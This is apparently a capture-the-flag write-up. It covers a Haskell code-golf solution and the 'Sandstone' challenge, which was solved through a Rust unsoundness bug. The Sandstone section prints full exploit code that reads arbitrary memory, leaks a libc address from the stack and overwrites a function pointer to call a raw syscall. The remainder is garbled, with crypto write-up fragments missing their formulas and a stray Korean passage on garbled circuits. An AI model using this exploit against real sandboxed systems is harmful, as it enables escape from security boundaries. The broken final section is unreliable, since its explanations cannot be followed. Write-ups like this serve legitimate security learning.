Code Golf
Code Golf is a problem about writing a short Haskell code. We have to write a function g, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as "ha m" and "ck m". Function g needs to find offsets for each strings, overlay them, and return it.
The rules for the correct answer are as follows:
- The correct offset will never cause two characters to occupy the same column.
- The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
- If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
- The length of the answer code should not exceed 181 bytes.
According to the rules, the answer for ["ha m", "ck m"] is "hackme".
This is our 176 bytes solution for the problem.
' '?y=y x?' '=x _?_='~' (x:c)??(y:d)=x?y:c??d x??y=x++y ""#[]=[(0,"")] x#y=[(c+1,a:d)|a:b<-[x],a/='~',(c,d)<-b#y]++[c|a:b<-[y],c<-x??a#b] g a=snd$minimum$(#)""=<<permutations a
We defined four functions, ?, ??, #, and g.
? is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return ~. Here, tilde has no special meaning and is used as a placeholder.
?? is a string overlay function. It compares the characters in two strings one by one and overlay them with function ?. If one of them is shorter then the other one, it will concat the rest of the string to the result.
# defines the main algorithm. It takes two arguments a and b. a is the remaining suffix and b is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.
Finally, function g plugs in all possible permutations of the input strings to #, finds the shortest and lexicographically first answer, and return it.
Sandstone
Sandstone is a problem about writing a Rust code that invokes syscall(0x1337) in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an unsafe {} block, which is prohibited in this problem.
We first observed that the problem turns on an optional feature called nll in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn’t matter if you don’t know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write syscall(0x1337) in safe Rust. Therefore, we searched for issues with NLL-sound tag in the Rust repository. The description for the tag is Working towards the "invalid code does not compile" goal which seems like a perfect match for our situation. However, we didn’t find anything that looks easily applicable to this problem.
Then, we changed our target to I-unsound 💥 tag and found the issue Coherence can be bypassed by an indirect impl for a trait object #57893. There was a comment which includes a std::mem::transmute implementation in Safe Rust, which allows unrestricted conversion between any Rust types.
The transmute() implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.
This is our main exploit code:
const PTR_SIZE: usize = std::mem::size_of::<usize>();
fn read_val(addr: usize) -> usize {
*transmute::<*mut usize, &mut usize>(addr as *mut usize)
}
fn find_index(base_ptr: usize) -> usize {
let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
let mut start_index = 0;
loop {
let start_ptr = base_ptr + PTR_SIZE * start_index;
if (0..pattern.len()).into_iter().all(|index| {
let val = read_val(start_ptr + PTR_SIZE * index);
if pattern[index] == 0 {
val == 0
} else {
val > 0
}
}) {
let target_index = start_index + 11;
let target_ptr = base_ptr + PTR_SIZE * target_index;
println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
return target_index;
}
start_index += 1;
}
}
fn fake_syscall(arg: usize) {
}
fn update(ptr: &mut fn(usize), val: usize) {
let ptr_ref = transmute::<_, &mut usize>(ptr);
*ptr_ref = val;
}
fn poc() {
let stack = 0xabcdef0123456789usize;
let mut ptr = (&stack as *const usize) as usize;
println!("Current stack pointer: 0x{:016x}", ptr);
let count = 200;
ptr -= PTR_SIZE * count;
let base_ptr = ptr;
for i in 0..count {
println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
ptr += PTR_SIZE;
}
let lib_target_index = find_index(base_ptr);
let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
println!("lib{} base addr: 0x{:016x}", 'c', lib_base);
let syscall_addr = lib_base + 0x1172d0;
println!("lib{} syscall addr: 0x{:016x}", 'c', syscall_addr);
let mut syscall_ptr: fn(usize) = fake_syscall;
update(&mut syscall_ptr, syscall_addr);
syscall_ptr(0x1337);
println!("Please give me the flag");
loop {
}
}
According to the flag, the intended solution was to use Pattern guard can consume value that is being matched #31287.
(2nd parameter) and a point 
(3rd parameter).
to a point(1st parameter).
(3rd parameter).
to a point(1st parameter).
, 
, and 
. These values were not recorded directly, but we can recover them using 
, 
and 
. We can calculate the flag point by a formula 
. Then, the x coordinate of the point represents the content of the flag file.
, 
, and 
. AES based pseudo-random function is used as a round function, whose input and output are both 2 bytes. Overall, the cipher implements pseudo-random permutation of 4 bytes block. There are 16 rounds in total. The encryption routine cyclically uses 
elements(2 bytes). Thus, slide attacks are applicable, and if we find the input and the output for one specific round, it is easy to recover the key which is used in that round.
and 
a slid pair if they satisfy two conditions 
and 
. These pairs can be found efficiently by a 
and 
format, both 256 times, to maximize the number of pairs that satisfies the first requirement. Then, for each pair that satisfies the first requirement, we check whether the second requirement 
is satisfied. Since the second requirement is a 16 bit condition, it is very likely that a pair which satisfies both first and second requirements is an actual slid pair. Based on the fact, we speculate that the found pair is a slid pair and calculate 
is used in the calculation.
. Then, the requirements of a slid pair are:
and 
format, both 256 times. Once we find a pair that satisfies the first the second requirement, we calculate 
to brute-force a valid 
and 
에 대해 라벨 
을 랜덤하게 생성합니다.
에서 입력을 받아 와이어 
에 출력하는 XOR 게이트가 있을 때 이 게이트는 ![[Enc_{x_{i,0}, x_{j,0}}(x_{k,0}), Enc_{x_{i,0}, x_{j,1}}(x_{k,1}), Enc_{x_{i,1}, x_{j,0}}(x_{k,1}), Enc_{x_{i,1}, x_{j,1}}(x_{k,0})]](https://s0.wp.com/latex.php?latex=%5BEnc_%7Bx_%7Bi%2C0%7D%2C+x_%7Bj%2C0%7D%7D%28x_%7Bk%2C0%7D%29%2C+Enc_%7Bx_%7Bi%2C0%7D%2C+x_%7Bj%2C1%7D%7D%28x_%7Bk%2C1%7D%29%2C+Enc_%7Bx_%7Bi%2C1%7D%2C+x_%7Bj%2C0%7D%7D%28x_%7Bk%2C1%7D%29%2C+Enc_%7Bx_%7Bi%2C1%7D%2C+x_%7Bj%2C1%7D%7D%28x_%7Bk%2C0%7D%29%5D&bg=ffffff&fg=000&s=0&c=20201002)
로 암호화 됩니다. 이를 garbling이라 부르며, 암호화된 회로를 garbled circuit이라 부릅니다.